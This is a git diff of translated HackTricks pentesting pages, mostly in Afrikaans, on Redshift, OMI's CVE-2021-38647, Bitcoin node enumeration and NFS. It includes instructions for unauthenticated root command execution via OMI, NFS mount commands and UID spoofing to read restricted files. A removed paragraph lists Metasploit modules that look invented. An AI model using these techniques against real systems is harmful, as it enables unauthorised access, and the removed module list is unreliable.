Hierdie poort word deur **Redshift** gebruik om te loop. Dit is basies 'n AWS-variante van **PostgreSQL**.
|
||||
Hierdie poort word deur **Redshift** gebruik om te werk. Dit is basies 'n AWS variasie van **PostgreSQL**.
|
||||
|
||||
Vir meer inligting, kyk na:
|
||||
Vir meer inligting, kyk:
|
||||
|
||||
{% embed url="https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-services/aws-databases/aws-redshift-enum" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Werk jy in 'n **cybersecurity-maatskappy**? Wil jy jou **maatskappy adverteer in HackTricks**? Of wil jy toegang hê tot die **nuutste weergawe van die PEASS of laai HackTricks in PDF af**? Kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die [hacktricks-repo](https://github.com/carlospolop/hacktricks) en [hacktricks-cloud-repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,37 +1,40 @@
|
|||
# 5985,5986 - Pentesting OMI
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Werk jy in 'n **cybersecurity-maatskappy**? Wil jy jou **maatskappy adverteer in HackTricks**? Of wil jy toegang hê tot die **nuutste weergawe van die PEASS of laai HackTricks in PDF af**? Kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die [hacktricks repo](https://github.com/carlospolop/hacktricks) en [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### **Basiese Inligting**
|
||||
|
||||
**OMI** word aangebied as 'n **[open-source](https://github.com/microsoft/omi)**-instrument deur Microsoft, ontwerp vir afstandsbeheer van konfigurasie. Dit is veral relevant vir Linux-bedieners op Azure wat dienste soos gebruik:
|
||||
**OMI** word aangebied as 'n **[open-source](https://github.com/microsoft/omi)** hulpmiddel deur Microsoft, ontwerp vir afstands konfigurasie bestuur. Dit is veral relevant vir Linux bedieners op Azure wat dienste soos:
|
||||
|
||||
- **Azure Automation**
|
||||
- **Azure Automatic Update**
|
||||
- **Azure Operations Management Suite**
|
||||
- **Azure Log Analytics**
|
||||
- **Azure Configuration Management**
|
||||
- **Azure Diagnostics**
|
||||
- **Azure Automatisering**
|
||||
- **Azure Outomatiese Opdatering**
|
||||
- **Azure Operasionele Bestuursuite**
|
||||
- **Azure Log Analise**
|
||||
- **Azure Konfigurasiebestuur**
|
||||
- **Azure Diagnostiek**
|
||||
|
||||
Die proses `omiengine` word geïnisieer en luister op alle koppelvlakke as root wanneer hierdie dienste geaktiveer word.
|
||||
Die proses `omiengine` word geaktiveer en luister op alle interfaces as root wanneer hierdie dienste geaktiveer word.
|
||||
|
||||
**Verstekpoorte** wat gebruik word, is **5985** (http) en **5986** (https).
|
||||
**Standaard poorte** wat gebruik word is **5985** (http) en **5986** (https).
|
||||
|
||||
### **[CVE-2021-38647 Swakplek](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-38647)**
|
||||
### **[CVE-2021-38647 Kwetsbaarheid](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-38647)**
|
||||
|
||||
Soos waargeneem op 16 September, is Linux-bedieners wat in Azure geïmplementeer is met die genoemde dienste vatbaar as gevolg van 'n kwesbare weergawe van OMI. Hierdie kwesbaarheid lê in die OMI-bediener se hantering van boodskappe deur die `/wsman` eindpunt sonder 'n Verifikasie-heer, wat die kliënt verkeerd magtig.
|
||||
Soos waargeneem op 16 September, is Linux bedieners wat in Azure ontplooi is met die genoemde dienste kwesbaar weens 'n kwesbare weergawe van OMI. Hierdie kwesbaarheid lê in die OMI bediener se hantering van boodskappe deur die `/wsman` eindpunt sonder om 'n Verifikasie kop te vereis, wat die kliënt verkeerdelik autoriseer.
|
||||
|
||||
'n Aanvaller kan dit uitbuit deur 'n "ExecuteShellCommand" SOAP-lading sonder 'n Verifikasie-heer te stuur, wat die bediener dwing om opdragte met root-voorregte uit te voer.
|
||||
'n Aanvaller kan dit benut deur 'n "ExecuteShellCommand" SOAP payload te stuur sonder 'n Verifikasie kop, wat die bediener dwing om opdragte met root regte uit te voer.
|
||||
```xml
|
||||
<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:a="http://schemas.xmlsoap.org/ws/2004/08/addressing"
|
||||
...
|
||||
|
@ -50,14 +53,17 @@ Vir meer inligting oor hierdie CVE **[kyk hier](https://github.com/horizon3ai/CV
|
|||
* [https://www.horizon3.ai/omigod-rce-vulnerability-in-multiple-azure-linux-deployments/](https://www.horizon3.ai/omigod-rce-vulnerability-in-multiple-azure-linux-deployments/)
|
||||
* [https://blog.wiz.io/omigod-critical-vulnerabilities-in-omi-azure/](https://blog.wiz.io/omigod-critical-vulnerabilities-in-omi-azure/)
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
* Werk jy in 'n **cybersecurity-maatskappy**? Wil jy jou **maatskappy adverteer in HackTricks**? Of wil jy toegang hê tot die **nuutste weergawe van die PEASS of laai HackTricks in PDF af**? Kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die [hacktricks repo](https://github.com/carlospolop/hacktricks) en [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,25 +1,28 @@
|
|||
# 8333,18333,38333,18444 - Pentesting Bitcoin
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Werk jy in 'n **cybersecurity-maatskappy**? Wil jy jou **maatskappy adverteer in HackTricks**? Of wil jy toegang hê tot die **nuutste weergawe van die PEASS of laai HackTricks in PDF af**? Kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die [hacktricks repo](https://github.com/carlospolop/hacktricks) en [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Basiese Inligting
|
||||
## Basic Information
|
||||
|
||||
* Die **poort 8333** word deur Bitcoin-nodes in die **mainnet** gebruik om met mekaar te kommunikeer.
|
||||
* Die **poort 18333** word deur Bitcoin-nodes in die **testnet** gebruik om met mekaar te kommunikeer.
|
||||
* Die **poort 38333** word deur Bitcoin-nodes in die **signet** gebruik om met mekaar te kommunikeer.
|
||||
* Die **poort 18444** word deur Bitcoin-nodes in die **regtest** (plaaslike) gebruik om met mekaar te kommunikeer.
|
||||
* Die **poort 8333** word deur Bitcoin nodes in die **mainnet** gebruik om tussen hulle te kommunikeer.
|
||||
* Die **poort 18333** word deur Bitcoin nodes in die **testnet** gebruik om tussen hulle te kommunikeer.
|
||||
* Die **poort 38333** word deur Bitcoin nodes in die **signet** gebruik om tussen hulle te kommunikeer.
|
||||
* Die **poort 18444** word deur Bitcoin nodes in die **regtest** (lokale) gebruik om tussen hulle te kommunikeer.
|
||||
|
||||
**Verstekpoort:** 8333, 18333, 38333, 18444
|
||||
**Default port:** 8333, 18333, 38333, 18444
|
||||
```
|
||||
PORT STATE SERVICE
|
||||
8333/tcp open bitcoin
|
||||
|
@ -29,9 +32,9 @@ PORT STATE SERVICE
|
|||
* `port:8333 bitcoin`
|
||||
* `User-Agent: /Satoshi`
|
||||
|
||||
## Opstel
|
||||
## Enumerasie
|
||||
|
||||
Bitcoin-nodes sal jou enkele inligting gee as hulle dink jy is 'n geldige bitcoin-node. **Nmap** het 'n paar skripte om hierdie inligting te onttrek:
|
||||
Bitcoin nodes sal vir jou 'n paar inligting gee as hulle dink jy is 'n ander geldige bitcoin node. **Nmap** het 'n skrip om hierdie inligting te onttrek:
|
||||
```
|
||||
sudo nmap -p 8333 --script bitcoin-info --script bitcoin-getaddr 170.39.103.39
|
||||
PORT STATE SERVICE
|
||||
|
@ -54,14 +57,17 @@ PORT STATE SERVICE
|
|||
| 75.128.4.27:8333 2022-04-02T08:10:45
|
||||
[...]
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
* Werk jy in 'n **cybersecurity-maatskappy**? Wil jy jou **maatskappy geadverteer sien in HackTricks**? Of wil jy toegang hê tot die **nuutste weergawe van die PEASS of HackTricks aflaai in PDF-formaat**? Kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die [hacktricks repo](https://github.com/carlospolop/hacktricks) en [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Kyk na die [**subskripsieplanne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,72 +1,65 @@
|
|||
# 2049 - Pentesting NFS-diens
|
||||
# 2049 - Pentesting NFS Service
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Werk jy in 'n **cybersecurity-maatskappy**? Wil jy jou **maatskappy adverteer in HackTricks**? Of wil jy toegang hê tot die **nuutste weergawe van die PEASS of laai HackTricks in PDF af**? Kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die [hacktricks-repo](https://github.com/carlospolop/hacktricks) en [hacktricks-cloud-repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## **Basiese Inligting**
|
||||
|
||||
**NFS** is 'n stelsel wat ontwerp is vir **kliënt/bediener** wat gebruikers in staat stel om naadloos toegang tot lêers oor 'n netwerk te verkry asof hierdie lêers binne 'n plaaslike gids geleë is.
|
||||
**NFS** is 'n stelsel wat ontwerp is vir **klient/bediener** wat gebruikers in staat stel om naatloos toegang tot lêers oor 'n netwerk te verkry asof hierdie lêers in 'n plaaslike gids geleë is.
|
||||
|
||||
'n Noemenswaardige aspek van hierdie protokol is die gebrek aan ingeboude **outentiserings-** of **magtigingsmeganismes**. In plaas daarvan steun magtiging op **lêersisteeminligting**, waar die bediener die taak het om **kliëntverskafte gebruikersinligting** akkuraat te vertaal na die lêersisteem se vereiste **magtigingsformaat**, hoofsaaklik volgens **UNIX-sintaksis**.
|
||||
'n Opmerkelijke aspek van hierdie protokol is die gebrek aan ingeboude **verifikasie** of **autorisasiemeganismes**. In plaas daarvan, berus autorisasie op **lêerstelselinligting**, met die bediener wat verantwoordelik is om **klient-gelewer gebruikersinligting** akkuraat in die lêerstelsel se vereiste **autorisasieformaat** te vertaal, hoofsaaklik volgens **UNIX-sintaksis**.
|
||||
|
||||
Outentisering steun gewoonlik op **UNIX `UID`/`GID`-identifiseerders en groepslidmaatskap**. 'n Uitdaging ontstaan egter as gevolg van die potensiële wanpassing in **`UID`/`GID`-afbeeldings** tussen kliënte en bedieners, wat geen spasie laat vir addisionele verifikasie deur die bediener nie. Gevolglik is die protokol die mees geskik vir gebruik binne **vertroude netwerke**, gegewe sy afhanklikheid van hierdie metode van outentisering.
|
||||
Verifikasie berus algemeen op **UNIX `UID`/`GID` identifiseerders en groepslidmaatskappe**. egter, 'n uitdaging ontstaan as gevolg van die potensiële wanpassing in **`UID`/`GID` kaarte** tussen kliënte en bedieners, wat geen ruimte laat vir addisionele verifikasie deur die bediener nie. Gevolglik is die protokol die beste geskik vir gebruik binne **vertroude netwerke**, gegewe sy afhanklikheid van hierdie metode van verifikasie.
|
||||
|
||||
**Verstekpoort**: 2049/TCP/UDP (behalwe weergawe 4, dit benodig net TCP of UDP). 
|
||||
**Standaard poort**: 2049/TCP/UDP (behalwe weergawe 4, dit benodig net TCP of UDP). 
|
||||
```
|
||||
2049/tcp open nfs 2-3 (RPC #100003
|
||||
```
|
||||
### Weergawes
|
||||
|
||||
- **NFSv2**: Hierdie weergawe word erken vir sy breë verenigbaarheid met verskillende stelsels en het sy betekenis gemerk met aanvanklike operasies oor UDP. As die **oudste** in die reeks, het dit die grondslag gelê vir toekomstige ontwikkelings.
|
||||
- **NFSv2**: Hierdie weergawe is bekend vir sy breë kompatibiliteit met verskeie stelsels, wat sy belangrikheid merk met aanvanklike bedrywighede hoofsaaklik oor UDP. As die **oudste** in die reeks, het dit die grondslag gelê vir toekomstige ontwikkelings.
|
||||
|
||||
- **NFSv3**: Ingelei met 'n verskeidenheid verbeterings, het NFSv3 uitgebrei op sy voorganger deur ondersteuning te bied vir veranderlike lêergroottes en verbeterde foutverslagdoening. Ten spyte van sy vorderings, het dit beperkings in volledige agterwaartse verenigbaarheid met NFSv2-kliënte ondervind.
|
||||
- **NFSv3**: Ingevoerd met 'n reeks verbeterings, het NFSv3 op sy voorganger uitgebrei deur veranderlike lêergrootte te ondersteun en verbeterde foutverslagmeganismes aan te bied. Ten spyte van sy vooruitgang, het dit beperkings in volle terugwaartse kompatibiliteit met NFSv2-kliënte ondervind.
|
||||
|
||||
- **NFSv4**: 'n Baanbrekerweergawe in die NFS-reeks, het NFSv4 'n reeks funksies gebring wat ontwerp is om lêerdeling oor netwerke te moderniseer. Merkwaardige verbeterings sluit in die integrasie van Kerberos vir **hoë sekuriteit**, die vermoë om vuurmuure te deurkruis en oor die internet te werk sonder die nodigheid van poorttoewysers, ondersteuning vir Toegangsbeheerlyste (ACL's) en die bekendstelling van staat-gebaseerde operasies. Sy prestasieverbeterings en die aanvaarding van 'n staatvolle protokol onderskei NFSv4 as 'n deurslaggewende vooruitgang in netwerk-lêerdelingstegnologieë.
|
||||
- **NFSv4**: 'n Mylpaalweergawe in die NFS-reeks, het NFSv4 'n stel funksies gebring wat ontwerp is om lêerdeling oor netwerke te moderniseer. Opmerklike verbeterings sluit die integrasie van Kerberos vir **hoë sekuriteit**, die vermoë om vuurmure te oorkom en oor die Internet te werk sonder die behoefte aan portmappers, ondersteuning vir Toegang Beheer Lyste (ACL's), en die bekendstelling van staat-gebaseerde bedrywighede in. Sy prestasieverbeterings en die aanneming van 'n staatlike protokol onderskei NFSv4 as 'n belangrike vooruitgang in netwerk lêerdeling tegnologieë.
|
||||
|
||||
Elke weergawe van NFS is ontwikkel met die doel om die ontwikkelende behoeftes van netwerkomgewings aan te spreek, en om sekuriteit, verenigbaarheid en prestasie geleidelik te verbeter.
|
||||
Elke weergawe van NFS is ontwikkel met die doel om die ontwikkelende behoeftes van netwerkomgewings aan te spreek, wat progressief sekuriteit, kompatibiliteit en prestasie verbeter.
|
||||
|
||||
## Opname
|
||||
## Enumerasie
|
||||
|
||||
### Nuttige nmap-skripte
|
||||
### Nuttige nmap skripte
|
||||
```bash
|
||||
nfs-ls #List NFS exports and check permissions
|
||||
nfs-showmount #Like showmount -e
|
||||
nfs-statfs #Disk statistics and info from NFS share
|
||||
```
|
||||
### Nuttige metasploit-modules
|
||||
|
||||
Metasploit is 'n kragtige raamwerk vir penetrasietoetse wat 'n verskeidenheid modules bied om verskillende aanvalstegnieke uit te voer. Hier is 'n paar nuttige metasploit-modules wat jy kan gebruik vir jou penetrasietoetse:
|
||||
|
||||
- `exploit/multi/handler`: Hierdie module stel jou in staat om 'n luisterende posisie te skep om inkomende verbindings te hanteer. Dit kan gebruik word om 'n sessie te skep wanneer 'n aanval suksesvol is.
|
||||
- `exploit/multi/http/nfs_rpcbind_bof`: Hierdie module maak gebruik van 'n buffer-oorloopkwesbaarheid in die NFS RPCBIND-diens om 'n aanval uit te voer. Dit kan gebruik word om 'n afgeleë kode-uitvoering te verkry op 'n kwesbare masjien.
|
||||
- `auxiliary/scanner/nfs/nfsmount`: Hierdie module skandeer 'n doelwitstelsel om te bepaal of die NFS-diens beskikbaar is en of dit toeganklik is vir monteerbare deelname. Dit kan help om potensiële aanvalsveilighede te identifiseer.
|
||||
- `post/multi/gather/nfs_enum`: Hierdie module word gebruik om inligting oor die NFS-diens op 'n doelwitstelsel te versamel. Dit kan nuttige inligting soos gedeelde lêers, gebruikers en groepe oplewer.
|
||||
- `post/multi/manage/nfs_mount`: Hierdie module maak dit moontlik om 'n NFS-gedeelde lêerstelsel op 'n doelwitstelsel te monteer. Dit kan handig wees vir die verkryging van toegang tot lêers en data op die doelwitstelsel.
|
||||
|
||||
Dit is net 'n paar voorbeelde van die vele metasploit-modules wat beskikbaar is. Dit is belangrik om die dokumentasie te raadpleeg en die modules te verken om die beste modules vir jou spesifieke penetrasietoets te vind.
|
||||
### Nuttige metasploit modules
|
||||
```bash
|
||||
scanner/nfs/nfsmount #Scan NFS mounts and list permissions
|
||||
```
|
||||
### Monteer
|
||||
### Mounting
|
||||
|
||||
Om te weet **watter vouer** die bediener **beskikbaar** het om te monteer, kan jy dit vra deur die volgende te gebruik:
|
||||
Om te weet **watter vouer** die bediener **beskikbaar** het om te monteer, kan jy dit vra met:
|
||||
```bash
|
||||
showmount -e <IP>
|
||||
```
|
||||
Monteer dit dan met behulp van:
|
||||
Dan monteer dit met:
|
||||
```bash
|
||||
mount -t nfs [-o vers=2] <ip>:<remote_folder> <local_folder> -o nolock
|
||||
```
|
||||
Jy moet spesifiseer om **weergawe 2 te gebruik** omdat dit **geen** **verifikasie** of **magtiging** het nie.
|
||||
U moet spesifiseer om **weergawe 2** te **gebruik** omdat dit **geen** **verifikasie** of **outorisering** het.
|
||||
|
||||
**Voorbeeld:**
|
||||
```bash
|
||||
|
@ -75,34 +68,34 @@ mount -t nfs [-o vers=2] 10.12.0.150:/backup /mnt/new_back -o nolock
|
|||
```
|
||||
## Toestemmings
|
||||
|
||||
As jy 'n vouer monteer wat **lêers of vouers bevat wat slegs deur 'n sekere gebruiker toeganklik is** (deur **UID**). Jy kan **plaaslik** 'n gebruiker met daardie **UID** skep en deur daardie **gebruiker** te gebruik, sal jy in staat wees om toegang tot die lêer/vouer te verkry.
|
||||
As jy 'n gids monteer wat **lêers of gidse bevat wat slegs deur 'n sekere gebruiker toeganklik is** (deur **UID**). Jy kan **lokaal** 'n gebruiker met daardie **UID** skep en met daardie **gebruiker** sal jy in staat wees om die lêer/gids te **benader**.
|
||||
|
||||
## NSFShell
|
||||
|
||||
Om maklik 'n lys te maak, te monteer en UID en GID te verander om toegang tot lêers te verkry, kan jy [nfsshell](https://github.com/NetDirect/nfsshell) gebruik.
|
||||
Om maklik te lys, te monteer en UID en GID te verander om toegang tot lêers te hê, kan jy [nfsshell](https://github.com/NetDirect/nfsshell) gebruik.
|
||||
|
||||
[Mooi NFSShell-tutoriaal.](https://www.pentestpartners.com/security-blog/using-nfsshell-to-compromise-older-environments/)
|
||||
[Nice NFSShell tutorial.](https://www.pentestpartners.com/security-blog/using-nfsshell-to-compromise-older-environments/)
|
||||
|
||||
## Konfigurasie-lêers
|
||||
## Konfigurasie lêers
|
||||
```
|
||||
/etc/exports
|
||||
/etc/lib/nfs/etab
|
||||
```
|
||||
### Gevaarlike instellings
|
||||
|
||||
